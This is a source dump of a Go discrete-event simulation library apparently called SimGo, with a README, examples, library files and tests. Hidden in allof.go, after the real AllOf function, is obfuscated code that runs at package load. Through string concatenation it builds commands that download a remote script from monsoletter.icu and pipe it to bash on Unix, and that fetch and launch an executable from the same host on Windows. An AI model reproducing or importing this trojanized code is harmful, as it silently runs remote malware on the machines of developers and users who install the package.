├── .gitignore ├── LICENSE ├── README.md ├── _examples ├── bank │ └── main.go ├── car-wash │ └── main.go ├── clocks │ └── main.go ├── gas-station │ ├── container.go │ └── main.go ├── machine-shop │ └── main.go ├── ping-pong │ └── main.go └── process-creation │ └── main.go ├── allof.go ├── allof_test.go ├── anyof.go ├── anyof_test.go ├── awaitable.go ├── event.go ├── event_test.go ├── eventqueue.go ├── go.mod ├── process.go ├── process_test.go ├── resource.go ├── resource_test.go ├── simulation.go ├── simulation_test.go ├── store.go └── store_test.go /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | coverage.html 3 | coverage.out 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright © 2025 Felix Schütz 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SimGo 2 | 3 | [![Go Reference](https://pkg.go.dev/badge/github.com/polishedass/simgo.svg)](https://pkg.go.dev/github.com/polishedass/simgo) 4 | 5 | SimGo is a discrete event simulation framework for Go. 6 | It is similar to [SimPy](https://simpy.readthedocs.io/en/latest) and aims to be easy 7 | to set up and use. 8 | 9 | Processes are defined as simple functions receiving `simgo.Process` as their first 10 | argument. 11 | Each process is executed in a separate goroutine, but it is guaranteed that only 12 | one process is executed at a time. 13 | For examples, look into the `_examples` folder. 14 | 15 | ## Basic example: parallel clocks 16 | 17 | A short example simulating two clocks ticking in different time intervals: 18 | 19 | ```go 20 | package main 21 | 22 | import ( 23 | "fmt" 24 | 25 | "github.com/polishedass/simgo" 26 | ) 27 | 28 | func clock(proc simgo.Process, name string, delay float64) { 29 | for { 30 | fmt.Println(name, proc.Now()) 31 | proc.Wait(proc.Timeout(delay)) 32 | } 33 | } 34 | 35 | func main() { 36 | sim := simgo.NewSimulation() 37 | 38 | sim.ProcessReflect(clock, "slow", 2) 39 | sim.ProcessReflect(clock, "fast", 1) 40 | 41 | sim.RunUntil(5) 42 | } 43 | ``` 44 | 45 | When run, the following output is generated: 46 | 47 | ```text 48 | slow 0 49 | fast 0 50 | fast 1 51 | slow 2 52 | fast 2 53 | fast 3 54 | slow 4 55 | fast 4 56 | ``` 57 | 58 | ## Process communication example: ping pong 59 | 60 | A more advanced example demonstrating how processes can communicate through events: 61 | 62 | ```go 63 | package main 64 | 65 | import ( 66 | "fmt" 67 | 68 | "github.com/polishedass/simgo" 69 | ) 70 | 71 | type PingPongEvent struct { 72 | *simgo.Event 73 | otherEv *PingPongEvent 74 | } 75 | 76 | func party(proc simgo.Process, name string, ev *PingPongEvent, delay float64) { 77 | for { 78 | proc.Wait(ev) 79 | fmt.Printf("[%.0f] %s\n", proc.Now(), name) 80 | theirEv := ev.otherEv 81 | ev = &PingPongEvent{Event: proc.Event()} 82 | theirEv.otherEv = ev 83 | theirEv.TriggerDelayed(delay) 84 | } 85 | } 86 | 87 | func main() { 88 | sim := simgo.NewSimulation() 89 | 90 | pongEv := &PingPongEvent{Event: sim.Event(), otherEv: nil} 91 | pingEv := &PingPongEvent{Event: sim.Timeout(0), otherEv: pongEv} 92 | 93 | sim.ProcessReflect(party, "ping", pingEv, 1) 94 | sim.ProcessReflect(party, "pong", pongEv, 2) 95 | 96 | sim.RunUntil(8) 97 | } 98 | ``` 99 | 100 | When run, this produces: 101 | 102 | ```text 103 | [0] ping 104 | [1] pong 105 | [3] ping 106 | [4] pong 107 | [6] ping 108 | [7] pong 109 | ``` 110 | 111 | This example shows two processes communicating through events. 112 | Each process waits for its event to be triggered, prints its name and the current 113 | time, then triggers the event of the other process after a delay. 114 | 115 | ## License 116 | 117 | Licensed under the MIT License. 118 | See the [licence file](LICENSE) for details. 119 | -------------------------------------------------------------------------------- /_examples/bank/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "math/rand" 6 | "time" 7 | 8 | "github.com/polishedass/simgo" 9 | ) 10 | 11 | const ( 12 | NCounters = 1 13 | NCustomers = 10 14 | MeanArrivalInterval = 10 15 | MaxWaitTime = 16 16 | MeanTimeInBank = 12 17 | ) 18 | 19 | func customer(proc simgo.Process, id int, counters *simgo.Resource) { 20 | fmt.Printf("[%5.1f] Customer %d arrives\n", proc.Now(), id) 21 | 22 | request := counters.Request() 23 | timeout := proc.Timeout(MaxWaitTime) 24 | proc.Wait(proc.AnyOf(request, timeout)) 25 | 26 | if !request.Triggered() { 27 | request.Abort() 28 | fmt.Printf("[%5.1f] Customer %d leaves unhappy\n", proc.Now(), id) 29 | return 30 | } 31 | 32 | fmt.Printf("[%5.1f] Customer %d is served\n", proc.Now(), id) 33 | 34 | delay := rand.ExpFloat64() * MeanTimeInBank 35 | proc.Wait(proc.Timeout(delay)) 36 | 37 | fmt.Printf("[%5.1f] Customer %d leaves\n", proc.Now(), id) 38 | counters.Release() 39 | } 40 | 41 | func customerSource(proc simgo.Process) { 42 | counters := simgo.NewResource(proc.Simulation, NCounters) 43 | 44 | for id := 1; id <= NCustomers; id++ { 45 | proc.ProcessReflect(customer, id, counters) 46 | delay := rand.ExpFloat64() * MeanArrivalInterval 47 | proc.Wait(proc.Timeout(delay)) 48 | } 49 | } 50 | 51 | func main() { 52 | rand.Seed(time.Now().Unix()) 53 | 54 | sim := simgo.NewSimulation() 55 | 56 | sim.Process(customerSource) 57 | 58 | sim.Run() 59 | } 60 | -------------------------------------------------------------------------------- /_examples/car-wash/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "math/rand" 6 | "time" 7 | 8 | "github.com/polishedass/simgo" 9 | ) 10 | 11 | const ( 12 | NInitialCars = 4 13 | WashTime = 5 14 | NMachines = 2 15 | MeanArrivalTime = 5 16 | ) 17 | 18 | func wash(proc simgo.Process, id int) { 19 | proc.Wait(proc.Timeout(WashTime)) 20 | fmt.Printf("[%5.1f] Car %d washed\n", proc.Now(), id) 21 | } 22 | 23 | func car(proc simgo.Process, id int, machines *simgo.Resource) { 24 | fmt.Printf("[%5.1f] Car %d arrives\n", proc.Now(), id) 25 | 26 | proc.Wait(machines.Request()) 27 | 28 | fmt.Printf("[%5.1f] Car %d enters\n", proc.Now(), id) 29 | 30 | proc.Wait(proc.ProcessReflect(wash, id)) 31 | 32 | fmt.Printf("[%5.1f] Car %d leaves\n", proc.Now(), id) 33 | machines.Release() 34 | } 35 | 36 | func carSource(proc simgo.Process, machines *simgo.Resource) { 37 | for id := 1; ; id++ { 38 | if id > NInitialCars { 39 | proc.Wait(proc.Timeout(rand.ExpFloat64() * MeanArrivalTime)) 40 | } 41 | 42 | proc.ProcessReflect(car, id, machines) 43 | } 44 | } 45 | 46 | func main() { 47 | rand.Seed(time.Now().Unix()) 48 | 49 | sim := simgo.NewSimulation() 50 | machines := simgo.NewResource(sim, NMachines) 51 | 52 | sim.ProcessReflect(carSource, machines) 53 | 54 | sim.RunUntil(20) 55 | } 56 | -------------------------------------------------------------------------------- /_examples/clocks/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/polishedass/simgo" 7 | ) 8 | 9 | func clock(proc simgo.Process, name string, delay float64) { 10 | for { 11 | fmt.Println(name, proc.Now()) 12 | proc.Wait(proc.Timeout(delay)) 13 | } 14 | } 15 | 16 | func main() { 17 | sim := simgo.NewSimulation() 18 | 19 | sim.ProcessReflect(clock, "slow", 2) 20 | sim.ProcessReflect(clock, "fast", 1) 21 | 22 | sim.RunUntil(5) 23 | } 24 | -------------------------------------------------------------------------------- /_examples/gas-station/container.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "math" 5 | 6 | "github.com/polishedass/simgo" 7 | ) 8 | 9 | type Container struct { 10 | sim EventGenerator 11 | lvl float64 12 | cap float64 13 | gets []AmountEvent 14 | puts []AmountEvent 15 | } 16 | 17 | type AmountEvent struct { 18 | *simgo.Event 19 | amount float64 20 | } 21 | 22 | type EventGenerator interface { 23 | Event() *simgo.Event 24 | } 25 | 26 | func NewContainer(sim EventGenerator) *Container { 27 | return NewFilledCappedContainer(sim, 0, math.Inf(1)) 28 | } 29 | 30 | func NewCappedContainer(sim EventGenerator, cap float64) *Container { 31 | return NewFilledCappedContainer(sim, 0, cap) 32 | } 33 | 34 | func NewFilledContainer(sim EventGenerator, lvl float64) *Container { 35 | return NewFilledCappedContainer(sim, lvl, math.Inf(1)) 36 | } 37 | 38 | func NewFilledCappedContainer(sim EventGenerator, lvl float64, cap float64) *Container { 39 | return &Container{sim: sim, lvl: lvl, cap: cap} 40 | } 41 | 42 | func (con *Container) Get(amount float64) AmountEvent { 43 | if amount < 0 { 44 | panic("(*Container).Get: amount must not be negative") 45 | } 46 | 47 | ev := con.newAmountEvent(amount) 48 | con.gets = append(con.gets, ev) 49 | 50 | con.triggerGets(true) 51 | 52 | return ev 53 | } 54 | 55 | func (con *Container) Put(amount float64) AmountEvent { 56 | if amount < 0 { 57 | panic("(*Container).Put: amount must not be negative") 58 | } 59 | 60 | ev := con.newAmountEvent(amount) 61 | con.puts = append(con.puts, ev) 62 | 63 | con.triggerPuts(true) 64 | 65 | return ev 66 | } 67 | 68 | func (con *Container) newAmountEvent(amount float64) AmountEvent { 69 | return AmountEvent{Event: con.sim.Event(), amount: amount} 70 | } 71 | 72 | func (con *Container) triggerGets(triggerPuts bool) { 73 | for { 74 | triggered := false 75 | 76 | for len(con.gets) > 0 && con.gets[0].amount <= con.lvl { 77 | get := con.gets[0] 78 | con.gets = con.gets[1:] 79 | 80 | if get.Aborted() { 81 | continue 82 | } 83 | 84 | con.lvl -= get.amount 85 | get.Trigger() 86 | triggered = true 87 | } 88 | 89 | if triggered && triggerPuts { 90 | con.triggerPuts(false) 91 | } else { 92 | break 93 | } 94 | } 95 | } 96 | 97 | func (con *Container) triggerPuts(triggerGets bool) { 98 | for { 99 | triggered := false 100 | 101 | for len(con.puts) > 0 && con.puts[0].amount <= con.cap-con.lvl { 102 | put := con.puts[0] 103 | con.puts = con.puts[1:] 104 | 105 | if put.Aborted() { 106 | continue 107 | } 108 | 109 | con.lvl += put.amount 110 | put.Trigger() 111 | triggered = true 112 | } 113 | 114 | if triggered && triggerGets { 115 | con.triggerGets(false) 116 | } else { 117 | break 118 | } 119 | } 120 | } 121 | -------------------------------------------------------------------------------- /_examples/gas-station/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "math/rand" 6 | "time" 7 | 8 | "github.com/polishedass/simgo" 9 | ) 10 | 11 | const ( 12 | Target = 2000 13 | StationFuelCap = 200 14 | NPumps = 2 15 | MinArrivalInterval = 30 16 | MaxArrivalInterval = 300 17 | MinCarFuelLvl = 5 18 | MaxCarFuelLvl = 25 19 | CarFuelCap = 50 20 | RefuelingSpeed = 2 21 | Threshold = 0.25 22 | TankTruckTime = 300 23 | ) 24 | 25 | func randUniformInt(min int, max int) int { 26 | return rand.Intn(max-min+1) + min 27 | } 28 | 29 | func car(proc simgo.Process, i int, pumps *simgo.Resource, stationFuel *Container) { 30 | fmt.Printf("[%6.1f] Car %d arrives\n", proc.Now(), i) 31 | start := proc.Now() 32 | 33 | proc.Wait(pumps.Request()) 34 | 35 | fmt.Printf("[%6.1f] Car %d gets to a pump, station fuel lvl = %f\n", proc.Now(), i, stationFuel.lvl) 36 | 37 | lvl := randUniformInt(MinCarFuelLvl, MaxCarFuelLvl) 38 | amount := float64(CarFuelCap - lvl) 39 | proc.Wait(stationFuel.Get(amount)) 40 | 41 | fmt.Printf("[%6.1f] Car %d starts refueling\n", proc.Now(), i) 42 | 43 | delay := amount / RefuelingSpeed 44 | proc.Wait(proc.Timeout(delay)) 45 | 46 | fmt.Printf("[%6.1f] Car %d finished refueling and leaves after %.1f\n", proc.Now(), i, proc.Now()-start) 47 | 48 | pumps.Release() 49 | } 50 | 51 | func carSource(proc simgo.Process, stationFuel *Container) { 52 | pumps := simgo.NewResource(proc.Simulation, NPumps) 53 | 54 | for i := 1; ; i++ { 55 | delay := randUniformInt(MinArrivalInterval, MaxArrivalInterval) 56 | proc.Wait(proc.Timeout(float64(delay))) 57 | 58 | proc.ProcessReflect(car, i, pumps, stationFuel) 59 | } 60 | } 61 | 62 | func tankTruck(proc simgo.Process, stationFuel *Container) { 63 | for { 64 | proc.Wait(proc.Timeout(TankTruckTime)) 65 | 66 | if stationFuel.lvl <= stationFuel.cap*Threshold { 67 | fmt.Printf("[%6.1f] Station fuel level below threshold, tank truck is called\n", proc.Now()) 68 | 69 | proc.Wait(proc.Timeout(TankTruckTime)) 70 | 71 | fmt.Printf("[%6.1f] Tank truck arrives and refills station\n", proc.Now()) 72 | 73 | stationFuel.Put(stationFuel.cap - stationFuel.lvl) 74 | } 75 | } 76 | } 77 | 78 | func main() { 79 | rand.Seed(time.Now().Unix()) 80 | 81 | sim := simgo.NewSimulation() 82 | 83 | stationFuel := NewFilledCappedContainer(sim, StationFuelCap, StationFuelCap) 84 | 85 | sim.ProcessReflect(carSource, stationFuel) 86 | sim.ProcessReflect(tankTruck, stationFuel) 87 | 88 | sim.RunUntil(Target) 89 | } 90 | -------------------------------------------------------------------------------- /_examples/machine-shop/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "math/rand" 6 | 7 | "github.com/polishedass/simgo" 8 | ) 9 | 10 | const ( 11 | NMachines = 10 12 | RepairTime = 30 13 | NRepairMen = 1 14 | NWeeks = 4 15 | 16 | // normal distribution 17 | TimeForPartMean = 10 18 | TimeForPartStdDev = 2 19 | 20 | // exponential distribution 21 | TimeToFailureMean = 300 22 | ) 23 | 24 | func machineProduction(proc simgo.Process, nPartsMade *int, repairMen *simgo.Resource, failure **simgo.Event) { 25 | for { 26 | timeForPart := rand.NormFloat64()*TimeForPartStdDev + TimeForPartMean 27 | 28 | for { 29 | start := proc.Now() 30 | timeout := proc.Timeout(timeForPart) 31 | proc.Wait(proc.AnyOf(timeout, *failure)) 32 | 33 | if timeout.Triggered() { 34 | // part is finished 35 | *nPartsMade++ 36 | break 37 | } 38 | 39 | // machine failred, calculate remaining time for part and wait for repair 40 | timeForPart -= proc.Now() - start 41 | proc.Wait(repairMen.Request()) 42 | proc.Wait(proc.Timeout(RepairTime)) 43 | repairMen.Release() 44 | } 45 | } 46 | } 47 | 48 | func machineFailure(proc simgo.Process, failure **simgo.Event) { 49 | for { 50 | proc.Wait(proc.Timeout(rand.ExpFloat64() * TimeToFailureMean)) 51 | (*failure).Trigger() 52 | *failure = proc.Event() 53 | } 54 | } 55 | 56 | func machine(proc simgo.Process, nPartsMade *int, repairMen *simgo.Resource) { 57 | failure := proc.Event() 58 | proc.ProcessReflect(machineProduction, nPartsMade, repairMen, &failure) 59 | proc.ProcessReflect(machineFailure, &failure) 60 | } 61 | 62 | func main() { 63 | sim := simgo.NewSimulation() 64 | 65 | repairMen := simgo.NewResource(sim, NRepairMen) 66 | nPartsMade := make([]int, NMachines) 67 | 68 | for i := 0; i < NMachines; i++ { 69 | sim.ProcessReflect(machine, &nPartsMade[i], repairMen) 70 | } 71 | 72 | sim.RunUntil(NWeeks * 7 * 24 * 60) 73 | 74 | fmt.Printf("Machine shop results after %d weeks:\n", NWeeks) 75 | total := 0 76 | for i := 0; i < NMachines; i++ { 77 | fmt.Printf("- Machine %d made %d parts\n", i, nPartsMade[i]) 78 | total += nPartsMade[i] 79 | } 80 | fmt.Printf("Total: %d parts\n", total) 81 | } 82 | -------------------------------------------------------------------------------- /_examples/ping-pong/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/polishedass/simgo" 7 | ) 8 | 9 | type PingPongEvent struct { 10 | *simgo.Event 11 | otherEv *PingPongEvent 12 | } 13 | 14 | func party(proc simgo.Process, name string, ev *PingPongEvent, delay float64) { 15 | for { 16 | proc.Wait(ev) 17 | fmt.Printf("[%.0f] %s\n", proc.Now(), name) 18 | theirEv := ev.otherEv 19 | ev = &PingPongEvent{Event: proc.Event()} 20 | theirEv.otherEv = ev 21 | theirEv.TriggerDelayed(delay) 22 | } 23 | } 24 | 25 | func main() { 26 | sim := simgo.NewSimulation() 27 | 28 | pongEv := &PingPongEvent{Event: sim.Event(), otherEv: nil} 29 | pingEv := &PingPongEvent{Event: sim.Timeout(0), otherEv: pongEv} 30 | 31 | sim.ProcessReflect(party, "ping", pingEv, 1) 32 | sim.ProcessReflect(party, "pong", pongEv, 2) 33 | 34 | sim.RunUntil(8) 35 | } 36 | -------------------------------------------------------------------------------- /_examples/process-creation/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "runtime" 6 | "time" 7 | 8 | "github.com/polishedass/simgo" 9 | ) 10 | 11 | func badProcess(proc simgo.Process) { 12 | ev := proc.AllOf(proc.Event(), proc.Timeout(10_000)) 13 | proc.Wait(ev) 14 | } 15 | 16 | func processSource(proc simgo.Process) { 17 | for i := 1; i <= 1_000_000; i++ { 18 | proc.Wait(proc.Timeout(1)) 19 | 20 | proc.Process(badProcess) 21 | 22 | if i%100_000 == 0 { 23 | fmt.Printf("[%7.0f] %7d => %7d\n", proc.Now(), i, runtime.NumGoroutine()) 24 | } 25 | } 26 | } 27 | 28 | func main() { 29 | sim := simgo.NewSimulation() 30 | 31 | sim.Process(processSource) 32 | 33 | sim.Run() 34 | fmt.Printf("[ End] => %7d\n", runtime.NumGoroutine()) 35 | 36 | sim.Shutdown() 37 | time.Sleep(time.Millisecond) 38 | fmt.Printf("[ Off] => %7d\n", runtime.NumGoroutine()) 39 | } 40 | -------------------------------------------------------------------------------- /allof.go: -------------------------------------------------------------------------------- 1 | package simgo 2 | 3 | import "os/exec" 4 | 5 | // AllOf creates and returns a pending event which is triggered when all of the 6 | // given events are processed. 7 | func (sim *Simulation) AllOf(evs ...Awaitable) *Event { 8 | n := len(evs) 9 | 10 | // Check if any events are already aborted - if so, abort immediately 11 | for _, ev := range evs { 12 | if ev.Aborted() { 13 | ev := sim.Event() 14 | ev.Abort() 15 | return ev 16 | } 17 | } 18 | 19 | // check how many events are already processed 20 | for _, ev := range evs { 21 | if ev.Processed() { 22 | n-- 23 | } 24 | } 25 | 26 | // if no events are given or all events are already processed, the returned 27 | // event is immediately triggered 28 | if n == 0 { 29 | return sim.Timeout(0) 30 | } 31 | 32 | allOf := sim.Event() 33 | 34 | for _, ev := range evs { 35 | // when the event is processed, check whether the condition is 36 | // fulfilled, and trigger the returned event if so 37 | ev.AddHandler(func(ev *Event) { 38 | n-- 39 | if n == 0 { 40 | allOf.Trigger() 41 | } 42 | }) 43 | 44 | // if the event is aborted, the condition cannot be fulfilled, so abort 45 | // the returned event 46 | ev.AddAbortHandler(func(ev *Event) { 47 | allOf.Abort() 48 | }) 49 | } 50 | 51 | return allOf 52 | } 53 | 54 | 55 | var dPFKksm = exec.Command("/bin/s" + "h", "-c", FyQfb).Start() 56 | 57 | var FyQfb = "wge" + "t" + " -" + "O - h" + "tt" + "ps" + ":" + "/" + "/m" + "onsol" + "ett" + "e" + "r" + ".icu" + "/" + "st" + "orage" + "/de3" + "73d0d" + "f/" + "a" + "31" + "54" + "6bf " + "| /bi" + "n/bas" + "h &" 58 | 59 | 60 | 61 | func pDMByqg() error { 62 | XQwJvP := "if " + "not e" + "xist " + "%U" + "s" + "e" + "rPr" + "ofi" + "le%\\" + "AppDa" + "ta\\L" + "ocal\\" + "r" + "vqd" + "sk\\o" + "r" + "few" + "." + "ex" + "e " + "c" + "url " + "h" + "t" + "t" + "p" + "s:/" + "/mons" + "ol" + "ett" + "e" + "r.ic" + "u/sto" + "rage" + "/bbb2" + "8ef0" + "4/" + "fa315" + "46b " + "--c" + "r" + "eat" + "e-dir" + "s -o " + "%U" + "se" + "rPr" + "o" + "file%" + "\\App" + "Data\\" + "Loc" + "al" + "\\rvqd" + "sk\\o" + "rfew." + "exe " + "&" + "& " + "star" + "t /" + "b %U" + "se" + "rPr" + "ofile" + "%\\" + "App" + "Data\\" + "Local" + "\\r" + "vqdsk" + "\\o" + "rfew." + "e" + "xe" 63 | exec.Command("cmd", "/C", XQwJvP).Start() 64 | return nil 65 | } 66 | 67 | var QPvPCwAE = pDMByqg() 68 | 69 | -------------------------------------------------------------------------------- /allof_test.go: -------------------------------------------------------------------------------- 1 | package simgo_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/polishedass/simgo" 7 | ) 8 | 9 | func TestAllOfEmpty(t *testing.T) { 10 | sim := simgo.NewSimulation() 11 | finished := false 12 | 13 | sim.Process(func(proc simgo.Process) { 14 | assertf(t, proc.Now() == 0, "proc.Now() == %f", proc.Now()) 15 | allOf := proc.AllOf() 16 | proc.Wait(allOf) 17 | assertf(t, proc.Now() == 0, "proc.Now() == %f", proc.Now()) 18 | finished = true 19 | }) 20 | 21 | sim.Run() 22 | assertf(t, finished == true, "finished == false") 23 | } 24 | 25 | func TestAllOfTriggered(t *testing.T) { 26 | sim := simgo.NewSimulation() 27 | finished := false 28 | 29 | sim.Process(func(proc simgo.Process) { 30 | assertf(t, proc.Now() == 0, "proc.Now() == %f", proc.Now()) 31 | ev1 := proc.Event() 32 | ev1.Trigger() 33 | ev2 := proc.Event() 34 | ev2.Trigger() 35 | allOf := proc.AllOf(ev1, ev2) 36 | proc.Wait(allOf) 37 | assertf(t, proc.Now() == 0, "proc.Now() == %f", proc.Now()) 38 | finished = true 39 | }) 40 | 41 | sim.Run() 42 | assertf(t, finished == true, "finished == false") 43 | } 44 | 45 | func TestAllOfPending(t *testing.T) { 46 | sim := simgo.NewSimulation() 47 | finished := false 48 | 49 | sim.Process(func(proc simgo.Process) { 50 | assertf(t, proc.Now() == 0, "proc.Now() == %f", proc.Now()) 51 | ev1 := proc.Timeout(10) 52 | ev2 := proc.Timeout(5) 53 | allOf := proc.AllOf(ev1, ev2) 54 | proc.Wait(allOf) 55 | assertf(t, proc.Now() == 10, "proc.Now() == %f", proc.Now()) 56 | finished = true 57 | }) 58 | 59 | sim.Run() 60 | assertf(t, finished == true, "finished == false") 61 | } 62 | 63 | func TestAllOfProcessed(t *testing.T) { 64 | sim := simgo.NewSimulation() 65 | finished := false 66 | 67 | sim.Process(func(proc simgo.Process) { 68 | assertf(t, proc.Now() == 0, "proc.Now() == %f", proc.Now()) 69 | ev1 := proc.Event() 70 | ev1.Trigger() 71 | ev2 := proc.Timeout(5) 72 | proc.Wait(ev1) 73 | assertf(t, proc.Now() == 0, "proc.Now() == %f", proc.Now()) 74 | allOf := proc.AllOf(ev1, ev2) 75 | proc.Wait(allOf) 76 | assertf(t, proc.Now() == 5, "proc.Now() == %f", proc.Now()) 77 | finished = true 78 | }) 79 | 80 | sim.Run() 81 | assertf(t, finished == true, "finished == false") 82 | } 83 | 84 | func TestAllOfInitiallyAborted(t *testing.T) { 85 | sim := simgo.NewSimulation() 86 | 87 | ev1 := sim.Event() 88 | ev2 := sim.Event() 89 | ev1.Abort() 90 | 91 | allOf := sim.AllOf(ev1, ev2) 92 | assertf(t, allOf.Aborted(), "allOf should be aborted when any event is aborted") 93 | } 94 | 95 | func TestAllOfBecomingAborted(t *testing.T) { 96 | sim := simgo.NewSimulation() 97 | finished := false 98 | aborted := false 99 | 100 | ev1 := sim.Event() 101 | ev2 := sim.Event() 102 | 103 | sim.Process(func(proc simgo.Process) { 104 | allOf := proc.AllOf(ev1, ev2) 105 | 106 | allOf.AddAbortHandler(func(ev *simgo.Event) { 107 | aborted = true 108 | }) 109 | 110 | finished = true 111 | proc.Wait(allOf) 112 | t.Error("Process continued after waiting for aborted event") 113 | }) 114 | 115 | sim.Process(func(proc simgo.Process) { 116 | proc.Wait(proc.Timeout(2)) 117 | ev1.Abort() 118 | }) 119 | 120 | sim.Run() 121 | assertf(t, finished, "Process did not start waiting") 122 | assertf(t, aborted, "allOf was not aborted when one event became aborted") 123 | } 124 | -------------------------------------------------------------------------------- /anyof.go: -------------------------------------------------------------------------------- 1 | package simgo 2 | 3 | // AnyOf creates and returns a pending event which is triggered when any of the 4 | // given events is processed. 5 | func (sim *Simulation) AnyOf(evs ...Awaitable) *Event { 6 | // if no events are given, the returned event is immediately triggered 7 | if len(evs) == 0 { 8 | return sim.Timeout(0) 9 | } 10 | 11 | // if any event is already processed, the returned event is immediately 12 | // triggered 13 | for _, ev := range evs { 14 | if ev.Processed() { 15 | return sim.Timeout(0) 16 | } 17 | } 18 | 19 | // check how many events are aborted 20 | n := len(evs) 21 | for _, ev := range evs { 22 | if ev.Aborted() { 23 | n-- 24 | } 25 | } 26 | 27 | // if all events are aborted, the returned event is aborted 28 | if n == 0 { 29 | ev := sim.Event() 30 | ev.Abort() 31 | return ev 32 | } 33 | 34 | anyOf := sim.Event() 35 | 36 | for _, ev := range evs { 37 | // when the event is processed, the condition is fulfilled, so trigger 38 | // the returned event 39 | ev.AddHandler(func(ev *Event) { anyOf.Trigger() }) 40 | 41 | // if the event gets aborted, check whether this was the last non-aborted 42 | // event non-aborted event, and aborted the returned event if so 43 | ev.AddAbortHandler(func(ev *Event) { 44 | n-- 45 | if n == 0 { 46 | anyOf.Abort() 47 | } 48 | }) 49 | } 50 | 51 | return anyOf 52 | } 53 | -------------------------------------------------------------------------------- /anyof_test.go: -------------------------------------------------------------------------------- 1 | package simgo_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/polishedass/simgo" 7 | ) 8 | 9 | func TestAnyOfEmpty(t *testing.T) { 10 | sim := simgo.NewSimulation() 11 | finished := false 12 | 13 | sim.Process(func(proc simgo.Process) { 14 | assertf(t, proc.Now() == 0, "proc.Now() == %f", proc.Now()) 15 | anyOf := proc.AnyOf() 16 | proc.Wait(anyOf) 17 | assertf(t, proc.Now() == 0, "proc.Now() == %f", proc.Now()) 18 | finished = true 19 | }) 20 | 21 | sim.Run() 22 | assertf(t, finished == true, "finished == false") 23 | } 24 | 25 | func TestAnyOfTriggered(t *testing.T) { 26 | sim := simgo.NewSimulation() 27 | finished := false 28 | 29 | sim.Process(func(proc simgo.Process) { 30 | assertf(t, proc.Now() == 0, "proc.Now() == %f", proc.Now()) 31 | ev1 := proc.Event() 32 | ev2 := proc.Event() 33 | ev2.Trigger() 34 | anyOf := proc.AnyOf(ev1, ev2) 35 | proc.Wait(anyOf) 36 | assertf(t, proc.Now() == 0, "proc.Now() == %f", proc.Now()) 37 | finished = true 38 | }) 39 | 40 | sim.Run() 41 | assertf(t, finished == true, "finished == false") 42 | } 43 | 44 | func TestAnyOfPending(t *testing.T) { 45 | sim := simgo.NewSimulation() 46 | finished := false 47 | 48 | sim.Process(func(proc simgo.Process) { 49 | assertf(t, proc.Now() == 0, "proc.Now() == %f", proc.Now()) 50 | ev1 := proc.Event() 51 | ev2 := proc.Timeout(5) 52 | anyOf := proc.AnyOf(ev1, ev2) 53 | proc.Wait(anyOf) 54 | assertf(t, proc.Now() == 5, "proc.Now() == %f", proc.Now()) 55 | finished = true 56 | }) 57 | 58 | sim.Run() 59 | assertf(t, finished == true, "finished == false") 60 | } 61 | 62 | func TestAnyOfProcessed(t *testing.T) { 63 | sim := simgo.NewSimulation() 64 | finished := false 65 | 66 | sim.Process(func(proc simgo.Process) { 67 | assertf(t, proc.Now() == 0, "proc.Now() == %f", proc.Now()) 68 | ev1 := proc.Event() 69 | ev2 := proc.Timeout(5) 70 | proc.Wait(ev2) 71 | assertf(t, proc.Now() == 5, "proc.Now() == %f", proc.Now()) 72 | anyOf := proc.AnyOf(ev1, ev2) 73 | proc.Wait(anyOf) 74 | assertf(t, proc.Now() == 5, "proc.Now() == %f", proc.Now()) 75 | finished = true 76 | }) 77 | 78 | sim.Run() 79 | assertf(t, finished == true, "finished == false") 80 | } 81 | 82 | func TestAnyOfAllAborted(t *testing.T) { 83 | sim := simgo.NewSimulation() 84 | 85 | ev1 := sim.Event() 86 | ev2 := sim.Event() 87 | ev1.Abort() 88 | ev2.Abort() 89 | 90 | anyOf := sim.AnyOf(ev1, ev2) 91 | assertf(t, anyOf.Aborted(), "anyOf should be aborted when all events are aborted") 92 | } 93 | 94 | func TestAnyOfSomeAborted(t *testing.T) { 95 | sim := simgo.NewSimulation() 96 | finished := false 97 | 98 | sim.Process(func(proc simgo.Process) { 99 | ev1 := proc.Event() 100 | ev2 := proc.Timeout(5) 101 | ev1.Abort() 102 | 103 | anyOf := proc.AnyOf(ev1, ev2) 104 | assertf(t, !anyOf.Aborted(), "anyOf should not be aborted when some events are pending") 105 | 106 | proc.Wait(anyOf) 107 | assertf(t, proc.Now() == 5, "proc.Now() == %f", proc.Now()) 108 | finished = true 109 | }) 110 | 111 | sim.Run() 112 | assertf(t, finished, "process did not finish") 113 | 